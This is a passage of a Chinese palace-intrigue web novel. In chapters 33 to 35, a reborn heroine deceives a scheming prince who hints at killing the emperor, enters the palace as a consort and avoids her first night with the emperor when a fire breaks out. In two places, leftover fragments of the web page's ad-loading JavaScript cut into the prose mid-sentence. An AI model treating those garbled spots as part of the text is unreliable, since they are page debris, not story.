萃华楼是京都最大的客栈,本就龙蛇混杂,这个节骨眼上,她不宜在人前抛头露面。 洪庆帝既说了他“随后就拟旨”,想必这旨意不会让她等太久。 这念头刚闪过,家中奴仆气喘吁吁跑了进来,禀报道:“老爷,小姐,宫里来圣旨了。” 闻雪英与闻仲年互看一眼,接着便出门迎旨。 33. 第 33 章 宫中圣旨一下,闻雪英成了皇家妇,她再不能随意出府,只日日在自己的闺阁之内,一边跟着宫里来的嬷嬷学规矩,一边等着二月初二的到来。 日子枯燥了些,但好在前途一片光明,且正好让她能避免见到不想见的人。 靖桓宇派人悄悄带了几封信进来,闻雪英没有看,接过就顺手扔进火盆里。 许是等不到她的回信,靖桓宇按捺不住,竟然登门拜访。 鞠衣将这个消息带到后宅告诉她时,闻雪英捧着笔练字,闻言只漫不经心地道:“宫里来的李嬷嬷如今就住在咱们府上,有她在,我怎好再去见外男。” 这样的借口,想必靖桓宇听了亦是无话可说。 正说着,李嬷嬷敲了敲门,和蔼道:“贵人,今日天气甚好,不如去后花园练习下行走坐卧的姿势吧。” 闻雪英皱了皱眉,又放下笔,扬声道:“我换件衣裳就来。” 李嬷嬷应了声是,在门外躬身等候。 闻雪英换了衣裳便走了出去,与李嬷嬷一道去了闻府的后花园。 后花园不大,入了园子门口便一眼望到了头,于是闻雪英也就第一眼看到了站在她家后花园凉亭里的靖桓宇和闻仲年。 闻雪英脚步一顿,倏然转身,随即压低声音对李嬷嬷道:“李嬷嬷,我们还是去别处吧,我父亲正陪着府上客人在此处说话。” 话落闻雪英就要离开,李嬷嬷却是挪了一步挡住她,接着恭敬道:“您如今是陛下的贵人,除了陛下与贵妃娘娘以外,其他人见了您都得下跪行礼,哪有您避让他人的缘故。” “可是……” 闻雪英话还没说出来,李嬷嬷便越过她,朝着花园内的凉亭躬身行礼:“老奴见过魏王殿下,相爷安好。” 闻雪英:“……” 就在几日前,洪庆帝再度下旨,给予两位皇子亲王的爵位,燕王和魏王。 靖桓宇的目光投射过来,闻雪英自知今日这面是非见不可,遂一面向靖桓宇露出惊喜又失望的表情,一面暗暗看向李嬷嬷,心头浮起一丝怀疑。 凉亭内的闻仲年也朝她看了过来,眼神里分明写着:你跑后花园来做什么? 他也是为难的很,女儿已经是铁定要入宫的人了,这魏王殿下居然还敢直接登门,说要见他的女儿。 魏王殿下胆大妄为,闻仲年却不想自己的女儿再跟他有什么瓜葛,幸好有了圣旨,他也有了堂而皇之拒绝的理由。 魏王殿下倒也没说什么,喝了盏茶便起身,闻仲年准备送他出门,岂料他突然道:“听说闻相府上后花园景致乃是一绝,不知可否让本王一观?” 钱晚宁平日爱捣鼓那些花花草草,他府上后花园景色的确很是赏心悦目,但那是春夏时节,如今才正月,后花园除了假上便是石头,魏王殿下的目的实在是太明显。 闻仲年心底不由暗骂一声,面上却还是恭恭敬敬地道:“殿下,这个季节,后花园没什么可看的。” 靖桓宇道:“无妨,冬日风景也别有一番风味。” “……” 魏王殿下的目的闻仲年心知肚明,他无非是想寻个机会见雪英,好在雪英几乎不去后花园,带魏王殿下去后花园倒也没什么。 谁能料到,雪英今天就突然跑到后花园了。 闻仲年站在靖桓宇身后,不停地给闻雪英使眼色,她现在是天子宫嫔,名义上就是魏王殿下的庶母,她现下转身走人也无妨。 闻雪英也正是这么打算的,然而靖桓宇突然开口:“李嬷嬷,本王与父皇的闻贵人也是旧相识了,不知可否让本王与闻贵人说两句话?” 李嬷嬷满脸堆笑,躬身道:“殿下既与贵人相识,说两句话又有何妨。” 闻雪英震惊不已,靖桓宇脱口就喊出了“李嬷嬷”,可见两人早已认识,说不定,李嬷嬷就是靖桓宇的人。 一瞬间,她感到自己脊背发凉,李嬷嬷孙若是靖桓宇的人,那么她这段日子岂不是一直生活在李嬷嬷的监视之下。 不知她焚烧靖桓宇信件的事,李嬷嬷可曾察觉? 短短几息之间,闻雪英一面听着李嬷嬷恭敬地向靖桓宇回话,一面思索待会儿如何面对靖桓宇。 其实闻雪英若是坚持避嫌,她大可以再说一句“不合礼数”转身就走,靖桓宇就是有天大的胆子,也不敢强迫她。 可深思熟虑之后,她觉得还是得跟靖桓宇说两句话,起码不能让他察觉自己早已对他“变心”。 闻雪英看了闻仲年一眼,示意他安心。 闻仲年只好退出花园,靖桓宇还在凉亭内等着,闻雪英深吸一口气,抬脚入内,鞠衣和琥珀想要跟着,却被李嬷嬷挡住。 闻雪英回头看她,李嬷嬷弯腰道:“奴婢们在这儿守着,贵人与王爷尽管放心。” 闻雪英扯了扯唇角,转身走向靖桓宇。 到了靖桓宇跟前,她只是沉默着不说话。 “我写给你的那些信,你怎么不看?”半晌后,靖桓宇率先开口。 心中不由咯噔一下,李嬷嬷果然是他的人。 闻雪英没有立即答话,她闭上了眼,酝酿了一阵,再睁开的双眼泛着泪光,她颤声道:“事到如今,看了,又能如何?不过是徒增伤悲罢了。” 靖桓宇想说什么,闻雪英打断他的话:“你明明告诉我,你已经有了十足的把握,可为什么那个钦天监最后说出的话会是那样?” 为什么季洪会说出那样的话,常立在对季洪下手之前,也曾对其威逼利诱,想知道究竟是哪里出了岔子,导致季洪说出闻雪英身负皇后命格的话。 但季洪只是一口咬定,他的奏疏里就是按靖桓宇的吩咐写的,他没有背叛靖桓宇。 细想下来,季洪的确没有背叛他的理由,那么只能是别人从中做了手脚。 季洪将他元宵之前三日做过的所有事情事无巨细地告诉常立。 常立又一一向他转述,靖桓宇听完,觉得钦天监的副使张唯很是可疑。 据季洪所说,正月十三那日晚上,张维请他到酒楼喝酒,回去后季洪便觉身体不适,翌日起来就发现嗓子哑了,到了元宵那日更是连话都说不出来。 靖桓宇交代的事事关重大,他不敢将这事交给钦天监的其他同僚,也不敢误了靖桓宇的事,于是便将要说的话写了下来,打算带到午门城楼,在陛下面前当中念出。 之后便是晚上他来到午门,上城楼时,季洪说他体力不支,奏疏不小心脱过手,是被张唯捡回来的。 又是张唯。 靖桓宇不得不去怀疑这个张唯,这几日也曾让人暗暗查过这张唯,目前为止没有发现什么蛛丝马迹,但若真是张唯从中作梗,他的动机是什么? 靖桓宇自然看得出,闻雪英成为父皇的宫嫔,受益的只会是闻家。 那么,背后是闻仲年,还是闻雪英本人? 靖桓宇虽然喜欢她,可这几日冷静下来,他也对闻雪英产生了怀疑,尤其得知他千方百计送给她的信都被她烧了之后。 今日本是想试探她,可闻雪英却在他面前红了眼眶,压抑着声音质问他。 靖桓宇不由打消了对她的怀疑,也是,她没有理由做这一切。 这时,闻雪英再度开口,心如死灰般地道:“我那么相信你,可你却……” 说到这儿,闻雪英止了声,只死死咬着自己的嘴唇,一副哀莫大于心死的样子。 她这副模样,靖桓宇看着,心里仿佛有种说不出的滋味,苦涩,又自责。 他忍不住上前,轻轻握住她的手,闻雪英挣了一下,没有挣脱。 她故作慌乱地回头看了看李嬷嬷,又压低声音对靖桓宇道:“殿下,如今我已经是陛下册封的贵人了。” 靖桓宇依旧没有放开她,他甚至将闻雪英揽进他的怀里,随即温和道:“你放心,李嬷嬷是我的人,她不会说出去的。” 闻雪英露出惊愕神情,眼底依旧有着一丝担忧,很快这抹担忧又转成落寞,“那又能怎么样呢,殿下能够让陛下收回旨意吗?” 靖桓宇叹了口气,“圣旨已下,我自是不能让父皇收回成命,不过,我们还有别的机会。” 闻雪英原本不过是做戏随口一说,没想到靖桓宇说出的话却让她震惊不已。 她呆呆地看着靖桓宇,靖桓宇低声道:“最多三年,父皇就会龙驭宾天,到时候为你换个身份,你就能成为我的人了。” 听着他这话,闻雪英只觉得毛骨悚然,不由脸色发白。 前世,洪庆帝享年四十一,算起来刚好距现在过了三年,靖桓宇如今说这样的话,难道前世洪庆帝骤然急病驾崩,也是另有隐情? 她几乎不敢呼吸,身躯也控制不住地颤抖起来,难道靖桓宇有弑君夺位的打算? 闻雪英竭力控制着自己的表情,小声试探道:“难道陛下身患不治之症?” 靖桓宇并不打算向她透露太多,只温和道:“你安心等着就是,最多三年,我们就能在一起了。” 如今还没到和他摊牌的时候,闻雪英也只好继续做戏。 “好,我信殿下。” * 十来天的时光很快便过了,终究是到了二月初二这一日,闻雪英辞别爹娘母亲,踏入宫廷。 长乐宫是一座两进的院落,除了皇后所居的凤仪宫外,长乐宫算是后宫中数一数二比较宽敞明亮的宫室了。 闻雪英入宫是带着鞠衣琥珀的,主仆三人进了长乐宫的大门,两边站着的内监宫女便齐齐下跪,朝她请安:“奴婢参见闻贵人,贵人吉祥。” 她缓缓下了台阶,开口道:“都起来吧。” 几人起身,立时有一宫女和一内监凑了上来,瞧他们的衣着与其他宫女内监略有不同,想必是这长乐宫的掌事太监与掌事宫女。 那内监笑眯眯道:“贵人,这长乐宫是去年新修缮的,半个月前得知您要入住,内廷司紧赶慢赶又添置了一些家具,您看看,若是有不满意的地方,您尽管说,奴才叫内廷司重新布置。” 那宫女也含笑道:“贵人从宫门口步行至长乐宫,想必是累了,不如奴婢先扶您进去歇息,等养足了精神再去说旁的也不迟。” 内监笑着附和:“也是也是,贵人还是先进去歇歇吧。” 那宫女说着便上前扶住闻雪英的胳膊,原本站在闻雪英身侧的琥珀被挤到了后头。 闻雪英面带微笑,不动声色地看了二人一眼,接着抬起脚往前,却不是朝着正殿的方向而去。 搀扶她的宫女见她转向,眼底闪过一瞬的惊讶。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “贵人,这是东配殿,主殿在那边。”眼见闻雪英走到了东配殿的门口,搀扶她的宫女忍不住出声提醒。 闻雪英不说话,在东配殿门口站定,身后的鞠衣立刻上前,动作麻利地推开东配殿的门。 闻雪英抬脚迈了进去。 东配殿也很大,共有五间屋子。最中间是接驾或是见客的正间,左侧是依次是暖阁和寝室,右侧则是一间书房和一间库房。 闻雪英粗略地看了一眼,便在正间的 雕花檀木椅上坐下,她微微吸了口气,目光看向下首。 为首的太监和宫女也跟着她进了东配殿,此刻正满脸堆笑,恭敬地在她面前站着。 闻雪英定定地瞧着她,缓缓道:“你们是长乐宫的人?” 话落,那二人再次跪下,回话道:“奴才长乐宫首领太监许高义,参见闻贵人。” “奴婢长乐宫掌事宫女郑如潇,参见闻贵人。” 许高义,郑如潇……闻雪英微微颔首,口中默默将这两人的名字又念了一遍,又问道:“你们以前是在哪个宫里当差?” 许高义约摸三十来岁,身材矮胖,面颊黝黑,容貌瞧着有些憨态,但他一双眼却是滴溜溜地转个不停,看着颇有心思。 闻雪英话音刚落,他便答道:“回贵人的话,奴才之前是在贵妃娘娘的南风殿当差,贵妃娘娘说,贵人初入宫,正是需要用人的时候,特地派奴才过来帮衬着,贵妃娘娘还说了,以后贵人若有什么事,尽管让奴才去南风殿禀报贵妃娘娘即可。” “多谢贵妃娘娘恩典。” 闻雪英面上露出几分感恩之意,心下却不由对贵妃此举生出迟疑,贵妃将自己宫里的人拨给她用,究竟是单纯的好意,亦或是另有图谋。 又或者,这两个人与靖桓宇有没有关系,毕竟李嬷嬷都是他的人了,难保这宫里还有没有其他人了。 她不愿以恶意揣测别人,只是所经历的一切告诉她,对这些素未谋面的宫人,还是得多留个心眼。 无论如何,往后还是得多加防备。 闻雪英又似笑非笑地问了一句:“你以前是伺候贵妃娘娘的人,今后却要伺候我一个小小的贵人,岂不是委屈了你?” 许高义脸上笑容一僵,忙磕头道:“贵人说笑了,贵人是有福之人,能伺候贵人,也是奴才的福分。” 闻雪英唇角含笑,没再理他,又将目光转向郑如潇:“郑姑姑以前又是哪个宫里的人?” 郑如潇看着也是三十来岁,瓜子脸,皮肤白净,双目又黑又亮颇有神采,看着很是沉稳。 她跪下道:“奴婢惭愧,贵人直呼奴婢姓名即可。奴婢之前是在寿康宫伺候太嫔太妃们的,前些日子有几位太嫔出了宫,奴婢遂被调到花鸟房当差,现下贵人入宫,奴婢有幸,能来伺候贵人,也是奴婢的福分。” 闻雪英微笑颔首,叫他们起身,又示意鞠衣将提前备好的银子分给他们,随后才吩咐他们安排人将她的行囊搬过来。 “以后我就住东配殿。” 许高义和郑如潇满脸不解,许高义想要问什么,郑如潇却是看了他一眼,示意他按吩咐办事即可。 她虽疑惑新来的贵人为何放着更为宽敞舒适的主殿不住,偏偏要住在东配殿,但到底人家才是这长乐宫的主子,他们做奴才的,只需听命办事即可。 两人出去后,琥珀便忍不住问她,“小姐,怎么不去住主殿呢?” 主殿的确更为宽敞舒适,但那也是前世困了她一年,并且最终刺杀靖桓宇无果被他反杀的地方。 长乐宫如今的布局与前世她住时几乎没什么差别,就连院中那棵核桃树也在,唯一的区别就是它的枝头现在还没有迈过宫墙。 再住进主殿,难免会让她想起前世身不由己的那段日子。 这些,她自然没有办法跟别人解释,索性陛下将整座长乐宫都赐给了她,想住哪儿自然是她说了算。 屋内只剩下鞠衣琥珀,闻雪英身子松懈了几分,她往后靠了靠,找了个更加舒服的姿势,缓缓解释: “……陛下虽将长乐宫赐于我居住,但我毕竟只是个贵人,住主殿怕是有些不合适。” 这借口有些牵强,但勉强合理,琥珀听罢也就没再问了,接着就和鞠衣一道去整理行囊收拾床铺了。 等收拾好后,天也差不多黑了,许高义和郑如潇带着其他宫女太监端来了今日的晚膳,大部分菜肴都是冷的,味道亦是平平无奇,闻雪英随便对付了两口,便让人撤了下去。 到了洗漱的时间,闻雪英打发走郑如潇,只让鞠衣和琥珀服侍自己。 天彻底黑了下来,琥珀一面整理着闻雪英的首饰,一面问道:“小姐,你说陛下今晚会不会来?” 闻雪英正在梳头的动作一僵,片刻后,她抿了抿唇,低声道:“以后不能再叫我小姐了。” 她如今已是洪庆帝后宫的贵人,不再是闻家的大小姐了,鞠衣和琥珀的称呼得尽快改。 至于陛下今晚会不会来……闻雪英转头看一眼外头的天色,已经到了伸手不见五指的地步,陛下应当不会来了。 这念头刚闪过脑海,下一刻,耳边响起了内监尖锐的喊声: “陛下驾到!” 闻雪英:“!?” 34. 第 34 章 闻雪英头一次对“说曹操曹操到”这六个字有了深刻的体会,屋内主仆三人面面相觑,一时都愣在了原地。 长乐宫其他下人也乱作一团,郑如潇甚至没顾上规矩,掀起门帘就跑了进来,激动道:“贵人,陛下来了。” 闻雪英抚着胸口,低声道:“我听见了。” 外头已经响起了许高义等一众奴才行礼问安的声音,郑如潇咽了口唾沫,上前一把推开犹在发怔的鞠衣和琥珀,拿起一旁的外衣替闻雪英披上,搀着她就往外走。 “贵人,陛下驾临,咱们得到外头接驾!” 郑如潇此时觉得自己一个头两个大,今日是闻贵人入宫的第一天,按照宫里的规矩,新人入宫的头三日,是不必去侍寝的,陛下也不会召见,是以她也就没有提醒闻贵人做什么准备,没想到都这个时辰了,陛下突然就来了……是了,如今的陛下是新朝的天子,是不能再拿旧朝的规矩说事了。 郑如潇一面扶着闻雪英往外走,一面压低声音提醒:“贵人,面见皇上的礼仪,宫里的嬷嬷应当教过您,待会儿您按嬷嬷教过的跪拜就是。” 闻雪英点了点头。 说话间,两人已经到了门口。 伴随圣驾出行的宫人们手里提着灯笼,将原本有些昏暗的长乐宫前院照得亮如白昼。 洪庆帝本人正站在院中央,身穿一袭用金线绣出复杂图案的黑色锦服,面对着门窗禁闭的长乐宫主殿。 闻雪英跨出门槛,疾走两步到洪庆帝跟前,行礼道:“臣妾贵人闻氏,参见陛下。” 靖渊扭头,见她从偏殿出来,眉心划过一抹惊讶,指了指主殿道:“你怎么住在偏殿?” 闻雪英含笑道:“偏殿也很宽敞,臣妾住在偏殿即可。” 靖渊看了看主殿,又看了她一眼,没有多问,只随意一抬手示意她起身。 闻雪英依言起身,见靖渊又走开了,他在长乐宫宽阔的院子里绕了一圈,但凡他一动,身边总有神情肃然的侍卫将他紧紧护在中间,闻雪英不知该不该跟上去,又意识到跟上去也不知该说什么,于是只垂首站在原地。 靖渊绕了一圈,又朝东配殿走了过来,经过闻雪英身边时,他缓声道:“夜里凉,别在外头站着了。” 闻雪英咬了咬唇,只好回身跟上。 靖渊进了东配殿,又是四下转了一转,这回那些侍卫没再跟进来,闻雪英犹豫半晌,抬脚跟在他身后,眼看着他到了最北边的一间屋子,这里被她用来当做库房,里头堆满了大大小小还没来得及整理的箱笼。 一部分箱笼上头用写着“御”字的封条封着,这些是她被册封为贵人,靖渊赏赐的物件;剩下的则都是李檀和闻仲年夫妇替她准备的嫁妆。 与宫中赏赐的相比,她带来的嫁妆反而更为丰厚。 靖渊看了一眼,随口道:“听说你母亲最近在京中?” 闻雪英猜测他口中的母亲是指李檀,她入宫,她娘的身份在他那儿估计也不是什么秘密了,于是闻雪英也就点头应是。 靖渊转身离开这间屋子,又道:“乱世之中,你母亲能将生意做的风生水起,实乃奇女子也,若是有机会,朕很想跟她见上一面。” 这话听起来,像是一句再平常不过的夸赞,可出自靖渊之口,闻雪英不得不多留个心眼。 她眼眸微微一转,恭敬道:“回陛下,昨儿个臣妾的娘亲告诉臣妾,说明日便要启程南下去谈一笔生意,怕是一时半会儿无缘得见陛下了。” 这话不假,李檀的确说过,等她入宫后就即刻动身去南方,不过她是要拉着一船的货,渡海去海的那一边寻求商机。 这几日在京中,李檀一边陪伴女儿,一边就是在筹办安排此事。 靖渊闻言温和道:“无妨,等你母亲下次进京,朕再见她也不迟。” 生意人嘛,忙一点也是可以理解的。 他这样说,闻雪英也不好再推辞,只福了福身,应一声是。 接着靖渊继续参观东配殿,她就在他身后默默陪伴。 另一边,郑如潇则带着鞠衣琥珀,并长乐宫其他下人,风风火火地忙了起来:他们将一桶又一桶的热水,通通抬进她的卧室。 卧室内用屏风隔出了一小块区域,那是她日常洗漱的地方。 适才鞠衣和琥珀只是替她拆了发髻,那屏风后的浴桶她还没来得及用。 活了两世,闻雪英并不是不知事的无知少女,可看到下人们进进出出的忙活,她的心头仍然不可避免的有些慌乱。 她悄悄抬眼看一眼靖渊,只看到了他的背影。 片刻后,靖渊终于结束了视察,朝着她的卧室走去。 “时候不早了,早些歇息吧。” 这是靖渊进到卧室说的第一句话,话落他人就向屏风后走去,看来他人今晚是真要宿在长乐宫了。 闻雪英一愣,下意识看向一旁的郑如潇。 郑如潇忙上前替她褪掉外衣,再度压低声音道:“贵人别怕,侍寝的规矩嬷嬷教过您的,您照着做就是。” 闻雪英心跳如擂鼓,郑如潇这个人能不能相信,现下尚未可知,但此时此刻,闻雪英还是本能般地握住她的手。 许是感受到她指尖的冰凉,郑如潇面上露出温暖的笑,柔声道:“若是不记得也没关系,您躺着就行,一切交给陛下就好。” 话落抽出自己的手,悄悄指了指正在往屏风后去的靖渊,示意闻雪英跟上去侍奉。 这个时候,奴才们就该退下了,于是郑如潇一手拉着鞠衣,一手扯过琥珀,三人走了出去。 卧室厚重的门帘重又落下,外头的大门“吱呀”一声被关上。 闻雪英的心又是一跳。 她轻轻吁出一口气,胡乱将被汗濡湿的手心在腰上擦了擦,咬咬牙朝屏风后走去。 她步子迈得很慢,一边走一边在心里设想着接下来可能会发生的事,她已经是洪庆帝的贵人了,被宠幸是迟早的事,虽然有些出乎意料的早,但也不是不能接受。 凭心而论,洪庆帝除了年纪稍有些大以外,闻雪英也想不出他有什么别的缺点,无论是相貌还是身材,她瞧着都比靖桓宇要好上几分,总得来说,侍奉他,不亏。 蜗牛般的速度,也终于让闻雪英走到了屏风跟前,她心里装着事,是以也没听见屏风后窸窸窣窣的声音。 闻雪英深吸一口气,一步跨到屏风后,鼓起勇气开口:“陛下,臣妾侍奉您……” 话说到一般,目光所及,让闻雪英不由倒吸一口凉气。 洪庆帝不知是习惯了自己动手,还是久等不到墨迹的闻雪英,他自个儿已经将身上的锦服脱了下来,闻雪英进来的时候,正好看见靖渊脱下身上的里衣,露出赤裸的后背。 电光火石间,她脑袋里闪过一连串的想法。 眼前男人的背是难得的好背,宽厚又健硕,烛光下泛着微微的古铜色,令人不由生出细细抚摸的念头,只是那背上却是横亘着许多歪七扭八狰狞不堪的疤痕,瞧着又令人心头一凛,接着不免生出几分扼腕叹息之意,可惜一张好背了。 靖渊听到她的声音,又将衣裳穿了回去。 他转过身,定定地瞧着她不作声。 闻雪英被他这样看着,原本已经平复下来的心跳再次加快。 总这么站着也不行,一阵沉默过后,她再度强迫自己冷静下来,屈膝施了一礼,声如蚊蝇道:“陛下,臣妾侍奉您更衣。” 靖渊唇角挂着一抹笑,他若有所思地看着她,不知道在想什么。 他不出声,闻雪英也就没动,就这样又过了半晌,余光瞥见他张开了双臂。 闻雪英吐出一口气,缓缓上前。 其实靖渊的衣裳他自己已经脱得差不多了,上半身只剩下这件被脱到一半又被他穿了回去的里衣,衣裳的系带也是已经解开的,闻雪英抬起双手,低垂着眉眼,很快就将他的里衣脱了下来。 原来,他身上的伤疤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不止后背有,肩上、胸前、腹部也有几道,双臂亦是。 给他留下这些伤疤的人,应当都已经成了他的刀下亡魂了吧。 她忍不住胡思乱想着,靖渊突然开口,语气闲适如话家常:“朕身上大大小小的伤疤加起来应该是有三十多道,不过这些跟朕砍过的脑袋比起来,就不值一提了。” 闻雪英小心翼翼地将他的里衣挂在架子上,心中疑惑他跟自己说这个干什么。 她抿了抿唇,思虑片刻后佯装心疼道:“这么多伤口,陛下当年一定很疼吧?” 靖渊瞥了她一眼,没有回答她这个问题,他继续道:“你来猜一猜,朕那些年在战场上一共砍了多少个敌人的脑袋。” 闻雪英微微皱眉,不是很想去猜测这个数。 但脱完里衣,接下里就该替他解下半身的衣裳了,即便做好了心理准备,真正到了这一刻,她心底深处还是下意识地想要逃避,于是她便停下手中动作,认认真真地想了起来。 靖渊眼底的情绪说不上是期待还是什么,总之她在佯装思考,他也就安静地看着她,等她猜测。 须臾,闻雪英抿了抿唇,犹豫着开口:“二十个?” 靖渊神情一僵,太阳穴处的血管“突”地跳动了下,他抬手捏了捏眉心,道:“……再猜。” 闻雪英眨眨眼,踌躇道:“……三十个?” 靖渊:“太少了,往多了猜,朕在称帝之前,可是打了十几年的仗,大大小小的战役加起来,少说也有一百场。” 闻雪英对于战争没有什么概念,她出生时中原虽然已处在战乱之中,但因为爹娘的缘故,她的生活并没有因为战乱而受到影响。 靖渊跟她说的这些,她其实很难想象,也很难理解。 再者,他当年加入起义军之后,很快就做到了首领的位置,首领一般也用不着冲锋陷阵,闻雪英心想他应当也没有多少在战场上跟敌人拼杀的机会。 片刻后,闻雪英咬唇说出了自己深思熟虑之后的答案:“五……五十个?” “……” 若闻雪英这时抬头直视靖渊,她会看到靖渊眉头紧皱,双眼瞪圆,正用一种不可思议的眼神瞪着她。 须臾,靖渊忍不住深吸了一口气,再这么让她猜下去,天估计都要亮了,他摇了摇头,公布了最终答案:“五百二十三个。” 五百二十三个! 的确很多,但闻雪英听罢心里也没有什么别的想法,她不知道该说什么,憋了半晌只好夸赞道:“陛下神武。” 靖渊笑了笑,淡淡道:“怎么样?怕不怕?是不是觉得朕的身上充满了血腥味?” 闻雪英抬眼看了他一眼,没有看到他的眼神,只看他唇角有些戏谑的笑容,她后知后觉地反应过来,陛下是想吓吓她吗? 刹那间,闻雪英感到些许无语,觉得眼前这个令她一直忐忑不安的帝王似乎也没有那么的可怕。 若她是一个在深闺中养尊处优没有经历过任何磨难的大家闺秀,面对这个说出自己曾经砍过五百二十三个敌人脑袋的帝王,自然会心生恐惧,但她不是,所以她不怕。 她低着头,尽力压制嘴角上扬的弧度,柔声道:“臣妾只觉得陛下勇猛神武,那五百二十三个敌人的脑袋,若是没有被您砍下,说不定我军会有更多将士因这五百二十三个敌人而丧命,陛下是保护了我军将士,臣妾不觉得可怕。” “……” 靖渊的初衷的确是想吓一吓她,但看她镇定自若地说出这一番话,虽有阿谀奉承的嫌疑,但从她的脸上,他的确看不到害怕。 靖渊微微一笑,突然转开话题道:“水冷了,快替朕更衣。” 闻雪英唇角的笑意霎时一僵,愣了半晌后哆哆嗦嗦地将手伸到靖渊的腰部,却半天没有碰到他腰间的系带。 她正感到浑身冒汗,头顶传来一声嗤笑:“你现在怕了?” 闻雪英:“?!” 她更无语了。 35. 第 35 章 他这一声嗤笑,闻雪英越发窘迫,站在那里动也不是,不动也不是,伸出的手指在距离他腰部三寸的地方僵滞不动。 殿内分外沉静,耳边只有自己隆隆的心跳声,以及头顶靖渊浅浅的呼吸声。 闻雪英手足无措,不知该如何应对。 时间仿佛也在这一刻凝结不动,她闭了闭眼,复又睁开,心里经过了一番天人交战,手指继续缓缓向前探去。 “你先出去吧。” 就在这时,靖渊突然抬手轻轻在她肩头推了一把,竟是让她出去。 闻雪英有片刻的惊讶茫然,反应过来他说的话后,她忙福了一福,迫不及待地离开这热气氤氲的浴室。 听着身后响起的水声,闻雪英心有余悸地舒了一口气,可一转身,看到被郑如潇重新铺陈过的床榻时,脑中再度混乱起来。 躲得了初一,躲不过十五,洪庆帝大发慈悲不让她替他宽衣,可他总不会也不让她今夜侍寝。 闻雪英紧紧攥着床边帷幔,心中暗暗期盼,若是今夜宫里发生一件事,使得洪庆帝不得不亲自出面就好了。 这样的念头刚从脑海划过,有人敲响了房门。 声音虽不大,却略显急促。 靖渊还在浴室,殿内的宫女也都退了出去,闻雪英只好亲自上前开门。 外头的人很多,洪庆帝身边的许望筌、长乐宫的郑如潇、许高义,还有鞠衣琥珀二人也在外头站着。 几人脸上神情复杂,闻雪英察觉有事发生,不等他们开口便问道:“出什么事了?” 前头的许望筌面带苦笑,朝着她微微躬身道:“启禀贵人,刚刚传来消息,贵妃娘娘所居的南风殿走水了。” 乍一听闻,闻雪英也是猛然一惊。冬季本就天干物燥,再加之南风殿附近似乎也没有水井,火要真大起来,灭火也是一大难事。 这是一件需要即刻禀报洪庆帝的事。 闻雪英略一沉吟,这下也顾不得尴尬,回身就往浴室跑。 “陛下,贵妃娘娘的南风殿着火了。” “什么?” 靖渊正坐在浴桶内闭目养神,闻言也是倏然睁眼,下一刻就站了起来,捞过自己的衣裳就往身上套。 闻雪英进来的时候,就见他浑身赤裸地从浴桶里跨了出来。 她呼吸凝滞一瞬,忙垂下眼皮,上前服侍他穿衣。 他身上还湿着,衣服并不好穿,但此刻也没有细细擦拭的功夫了,只好费力地将衣裳往身上套。 靖渊向来不近女色,养居殿内虽也有女官宫女,但她们并不近身伺候,现下突然让一个近乎陌生的女子服侍他穿衣,靖渊其实也很不习惯,但现下他也没功夫考虑这个了。 靖渊喊了一声许望筌,询问道:“怎么回事?” 许望筌这时也走了进来,就站在屏风外头回话:“奴才也尚不清楚怎么回事,只是方才贵妃娘娘宫里的人灰头土脸地来禀报,说南风殿突然走水了,奴才已经吩咐附近几个宫的侍卫们前去救火了。” 说话间,靖渊的衣裳已经穿好了,他大踏步地往外走,边走边道:“去南风殿。” 闻雪英手里捧着靖渊的斗篷追了出来,瞧见他人已经跨出了长乐宫的大门,他身上是湿的,又没穿保暖的斗篷,如今虽开了春,可天气依旧冷冽如寒冬,只怕洪庆帝要着了风寒。 而且,她作为洪庆帝的宫嫔,也该适当地表现对他的关心。 这样想着,闻雪英小跑几步,口中唤道:“陛下等一等。” 靖渊已经上了辇轿,心中虽急,还是回头看了一眼,就见闻雪英朝他奔了过来,将斗篷递向他:“陛下,您忘穿斗篷了,仔细着凉。” 靖渊接过斗篷披上,又道:“你回去吧。” 话落便吩咐起驾。 帝王的仪驾很快消失在长乐宫门前的宫道尽头,闻雪英一边暗自祈祷贵妃不要出事,一边又觉得天助她也。 只是贵妃平安的消息没有传来之前,她也不好安然入睡,于是长乐宫主仆上下都干瞪着眼睛等着。 半个时辰后,许望筌带来了贵妃安然无恙的消息。 “只是偏殿着火,没有波及贵妃娘娘所居的主殿。” 闻雪英抚了抚胸口,如释重负道:“那太好了。” 许望筌顿了顿又道:“只是贵妃娘娘到底受了惊吓,陛下恐一时半会儿不能来看贵人您了。” 闻雪英脸上笑意粲然,体贴道:“娘娘受了惊吓,陛下自然是该陪伴娘娘的。” 许望筌含笑应了声,缓缓退出。 闻雪英命人关上大门,心道今晚算是躲过去了。 她嘴角不由自主地微微上扬,一转眼,却瞧见许高义郑如潇等长乐宫宫人个个苦大仇深地哭丧着脸。 许高义甚至忍不住嘀咕:“怎么就那么巧,南风殿早不走水晚不走水,偏偏今晚走水。” 闻雪英唇角笑意收敛,目光落在许高义脸上,却不说话。 许高义尚不自觉,犹在抱怨:“真是倒了八辈子……” 他话说到一半,突然察觉到什么,一抬头,就见闻雪英看向他的视线里含着冷意。 这位新来的主子心性如何他还没摸清,总归他也意识到自己说了不该说的话,遂面色一白,忙跪下道:“奴才失言,请贵人责罚。” 对于一个帝王的宫嫔来说,侍奉好帝王,让帝王开心才是她的第一要务,说难听点,宫嫔能否在帝王心中拥有一席之位,总离不开侍寝。 无论许高义此刻是否是真心实意地效忠她,他方才说的这一番话,也都没有什么恶意,他或许是口不择言了一些,但闻雪英相信,他心底只是觉得可惜,今夜她没能侍上寝。 然而无论许高义的初衷是什么,这话,他都不该说,而她也不得不罚,谁知这长乐宫里的人,心都在哪儿。 若她今日轻纵,传到贵妃或是陛下耳中,难免会落得一个纵容下人,对贵妃不敬的罪名了。 只是这如何去罚,也要讲究一个技巧。 闻雪英思绪一转,看向神情平静的郑如潇,从容道:“郑姑姑,许高义说话口无遮拦,该当何罚?” 郑如潇脸上浮起意外的神情,显然没想到自己会被问到,她愣了一瞬,低声回道:“陛下尚未制定详细的宫规,贵妃娘娘暂且是参照着以前的旧规矩治下的。” “那是如何?” 郑如潇抿了抿唇,全然忽视余光里许高义在一旁向她递来的祈求的眼神,她微微沉吟道:“该掌嘴五十,再逐出长乐宫,交由内廷司处置。” 郑如潇的话一出口,鞠衣和琥珀就忍不住倒抽了一口冷气,两人便即向闻雪英投来震惊的眼神。 五十下掌嘴,只怕掌完人也要废了。 